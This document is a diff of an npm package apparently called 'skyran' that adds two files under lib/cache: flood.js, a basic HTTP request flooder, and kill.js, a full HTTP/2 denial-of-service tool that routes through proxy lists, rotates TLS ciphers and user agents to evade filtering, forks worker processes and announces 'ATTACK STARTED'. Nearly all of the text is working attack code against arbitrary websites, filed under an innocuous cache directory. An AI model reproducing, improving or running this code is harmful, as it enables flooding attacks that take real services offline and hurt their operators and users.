skyran 1.0.0

package/lib/cache/flood.js

@@ -0,0 +1,20 @@
+const target = process.argv[2];
+const duration = process.argv[3];
+
+if (process.argv.length < 4 || isNaN(parseInt(duration))) {
+    console.log('Invalid Usage: node StarsXDoS-V1.js URL DURATION.');
+    process.exit(1)
+} else {
+    const attackInterval = setInterval(() => {
+        for (let i = 0; i < 100; i++) {
+            fetch(target).catch(error => {});
+        }
+        
+    });
+
+    setTimeout(() => {
+        clearInterval(attackInterval);
+        console.log('Attack stopped.');
+        process.exit(0);
+    }, duration * 1000);
+}

package/lib/cache/kill.js

@@ -0,0 +1,297 @@
+ const net = require("net");
+ const http2 = require("http2");
+ const tls = require("tls");
+ const cluster = require("cluster");
+ const url = require("url");
+ const crypto = require("crypto");
+ const fs = require("fs");
+ 
+ process.setMaxListeners(0);
+ require("events").EventEmitter.defaultMaxListeners = 0;
+
+ if (process.argv.length < 5){console.log(`
+                          HOW TO RUN METHOD!
+               node StarsXKill.js [URL] [TIME] [RPS] [THREAD]
+`); process.exit();}
+ 
+ const cplist = [ // Cipher By PermenMD
+     "ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:HIGH:!aNULL:!MD5:!RC4",
+     "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:RSA-PSS-RSAE-SHA512:RSA-PKCS1-SHA512:RSA-PSS-RSAE-SHA384:RSA-PKCS1-SHA384:RSA-PSS-RSAE-SHA256:RSA-PKCS1-SHA256",
+     "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:DHE-DSS-AES128-GCM-SHA256:AES256-SHA:AES128-SHA:HIGH:!aNULL:!MD5:!RC4",
+     "ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5",
+     "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:HIGH:!aNULL:!MD5",
+     "AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA:HIGH:!aNULL:!MD5:!RC4",
+     "DHE-RSA-AES128-SHA256:DHE-DSS-AES128-SHA256:HIGH:!aNULL:!MD5",
+     "ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:HIGH:!aNULL:!MD5",
+     "ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:AES256-SHA:HIGH:!aNULL:!MD5:!3DES",
+     "DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA256:HIGH:!aNULL:!MD5",
+     "ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:HIGH:!aNULL:!MD5",
+     "AES128-SHA:AES256-SHA:AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4",
+     "RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
+     "ECDHE-RSA-AES256-SHA:RC4-SHA:RC4:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
+     "ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!AESGCM:!CAMELLIA:!3DES:!EDH"
+ ];
+ var cipper = cplist[Math.floor(Math.floor(Math.random() * cplist.length))];
+ 
+ const sigalgs = "ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256:ecdsa_secp384r1_sha384:rsa_pss_rsae_sha384:rsa_pkcs1_sha384:rsa_pss_rsae_sha512:rsa_pkcs1_sha512";
+ 
+ const ecdhCurve = "GREASE:x25519:secp256r1:secp384r1";
+ 
+ const secureOptions = 
+ crypto.constants.SSL_OP_NO_SSLv2 |
+ crypto.constants.SSL_OP_NO_SSLv3 |
+ crypto.constants.SSL_OP_NO_TLSv1 |
+ crypto.constants.SSL_OP_NO_TLSv1_1 |
+ crypto.constants.ALPN_ENABLED |
+ crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION |
+ crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE |
+ crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT |
+ crypto.constants.SSL_OP_COOKIE_EXCHANGE |
+ crypto.constants.SSL_OP_PKCS1_CHECK_1 |
+ crypto.constants.SSL_OP_PKCS1_CHECK_2 |
+ crypto.constants.SSL_OP_SINGLE_DH_USE |
+ crypto.constants.SSL_OP_SINGLE_ECDH_USE |
+ crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
+ 
+ const secureProtocol = "TLS_client_method";
+ const headers = {};
+ 
+ const secureContextOptions = {
+     ciphers: cipper,
+     sigalgs: sigalgs,
+     honorCipherOrder: true,
+     secureOptions: secureOptions,
+     secureProtocol: secureProtocol
+ };
+ 
+ const secureContext = tls.createSecureContext(secureContextOptions);
+ 
+ var proxyFile = "proxy.txt";
+ var proxies = readLines(proxyFile);
+ var userAgents = readLines("ua.txt");
+ 
+ const args = {
+     target: process.argv[2],
+     time: ~~process.argv[3],
+     Rate: ~~process.argv[4],
+     threads: ~~process.argv[5]
+ }
+ 
+ const parsedTarget = url.parse(args.target);
+
+ if (cluster.isMaster) {
+    for (let counter = 1; counter <= args.threads; counter++) {
+        cluster.fork();
+    }
+    
+    console.clear();
+    console.log(`
+     ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
+       TARGET : ` + parsedTarget.host + `
+       DURATION : ` + args.time + `
+       THREADS : ` + args.threads + `
+       RPS : ` + args.Rate + `
+     ┣━━━━━━━━━━━━━━━     ATTACK STARTED     ━━━━━━━━━━━━━━━━━┫
+     ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
+`);
+
+  setTimeout(() => {
+    process.exit(1);
+  }, process.argv[3] * 1000);
+
+} else {for (let i = 0; i < 25; i++) { setInterval(runFlooder, 0) }}
+ 
+ class NetSocket {
+     constructor(){}
+ 
+  HTTP(options, callback) {
+     const parsedAddr = options.address.split(":");
+     const addrHost = parsedAddr[0];
+     const payload = "CONNECT " + options.address + ":443 HTTP/1.2\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; //Keep Alive
+     const buffer = new Buffer.from(payload);
+ 
+     const connection = net.connect({
+         host: options.host,
+         port: options.port,
+         allowHalfOpen: true,
+         writable: true,
+         readable: true
+     });
+ 
+     connection.setTimeout(options.timeout * 10000);
+     connection.setKeepAlive(true, 10000);
+     connection.setNoDelay(true)
+ 
+     connection.on("connect", () => {
+         connection.write(buffer);
+     });
+ 
+     connection.on("data", chunk => {
+         const response = chunk.toString("utf-8");
+         const isAlive = response.includes("HTTP/1.1 200");
+         if (isAlive === false) {
+             connection.destroy();
+             return callback(undefined, "error: invalid response from proxy server");
+         }
+         return callback(connection, undefined);
+     });
+ 
+     connection.on("timeout", () => {
+         connection.destroy();
+         return callback(undefined, "error: timeout exceeded");
+     });
+ 
+     connection.on("error", error => {
+         connection.destroy();
+         return callback(undefined, "error: " + error);
+     });
+ }
+ }
+
+ const Socker = new NetSocket();
+ 
+ function readLines(filePath) {
+     return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
+ }
+ 
+ function randomIntn(min, max) {
+     return Math.floor(Math.random() * (max - min) + min);
+ }
+ 
+ function randomElement(elements) {
+     return elements[randomIntn(0, elements.length)];
+ }
+ 
+ function randomCharacters(length) {
+     output = ""
+     for (let count = 0; count < length; count++) {
+         output += randomElement(characters);
+     }
+     return output;
+ }
+ 
+ headers[":method"] = "GET";
+ headers[":path"] = parsedTarget.path;
+ headers[":scheme"] = "https";
+ headers["accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8";
+ headers["accept-language"] = "es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3";
+ headers["accept-encoding"] = "gzip, deflate, br";
+ headers["content-type"] = "text/html";
+ headers["Except"] = "100-continue";
+ headers["Forwarder"] = "for=192.168.0.1;proto=http";
+ headers["From"] = "user@gmail.com";
+ headers["Max-Forwards"] = "10";
+ headers["origin"] = "https://" + parsedTarget.host;
+ headers["x-forwarded-proto"] = "https";
+ headers["pragma"] = "no-cache";
+ headers["referer"] = parsedTarget
+ headers["cache-control"] = "no-cache, no-store,private, max-age=0, must-revalidate";
+ headers["sec-ch-ua-mobile"] = randomElement(["?0", "?1"]);
+ headers["sec-ch-ua-platform"] = randomElement(["Android", "iOS", "Linux", "macOS", "Windows"]);
+ headers["sec-fetch-dest"] = "document";
+ headers["sec-fetch-mode"] = "navigate";
+ headers["sec-fetch-site"] = "same-origin";
+ headers["upgrade-insecure-requests"] = "1";
+ 
+ function runFlooder() {
+     const proxyAddr = randomElement(proxies);
+     const parsedProxy = proxyAddr.split(":");
+ 
+     /** headers dynamic */
+     headers[":authority"] = parsedTarget.host
+     headers["user-agent"] = randomElement(userAgents);
+     headers["x-forwarded-for"] = parsedProxy[0];
+ 
+     const proxyOptions = {
+         host: parsedProxy[0],
+         port: ~~parsedProxy[1],
+         address: parsedTarget.host + ":443",
+         timeout: 15
+     };
+
+     Socker.HTTP(proxyOptions, (connection, error) => {
+         if (error) return
+ 
+         connection.setKeepAlive(true, 60000);
+         connection.setNoDelay(true)
+ 
+         const settings = {
+             enablePush: false,
+             initialWindowSize: 1073741823
+         };
+
+         const tlsOptions = {
+            port: 443,
+            secure: true,
+            ALPNProtocols: ["h2", "http/1.2", "h3", "http/2+quic/43", 'http/2+quic/44', 'http/2+quic/45'],
+            ciphers: cipper,
+            sigalgs: sigalgs,
+            requestCert: true,
+            socket: connection,
+            ecdhCurve: ecdhCurve,
+            honorCipherOrder: true,
+            host: parsedTarget.host,
+            rejectUnauthorized: false,
+            clientCertEngine: "dynamic",
+            secureOptions: secureOptions,
+            secureContext: secureContext,
+            servername: parsedTarget.host,
+            secureProtocol: secureProtocol
+        };
+
+         const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions); 
+
+         tlsConn.allowHalfOpen = true;
+         tlsConn.setNoDelay(true);
+         tlsConn.setKeepAlive(true, 60 * 1000);
+         tlsConn.setMaxListeners(0);
+ 
+         const client = http2.connect(parsedTarget.href, {
+             protocol: "https:",
+             settings: settings,
+             maxSessionMemory: 3333,
+             maxDeflateDynamicTableSize: 4294967295,
+             createConnection: () => tlsConn
+             //socket: connection,
+         });
+ 
+         client.setMaxListeners(0);
+         client.settings(settings);
+ 
+         client.on("connect", () => {
+            const IntervalAttack = setInterval(() => {
+                for (let i = 0; i < args.Rate; i++) {
+                    headers["referer"] = "https://" + parsedTarget.host + parsedTarget.path;
+                    const request = client.request(headers)
+                    
+                    .on("response", response => {
+                        request.close();
+                        request.destroy();
+                        return
+                    });
+    
+                    request.end();
+                }
+            }, 1000); 
+         });
+ 
+         client.on("close", () => {
+             client.destroy();
+             connection.destroy();
+             return
+         });
+ 
+         client.on("error", error => {
+             client.destroy();
+             connection.destroy();
+             return
+         });
+     });
+ }
+ 
+ const KillScript = () => process.exit(1);
+ 
+ setTimeout(KillScript, args.time * 1000);
+ 
+ process.on('uncaughtException', error => {});
+ process.on('unhandledRejection', error => {});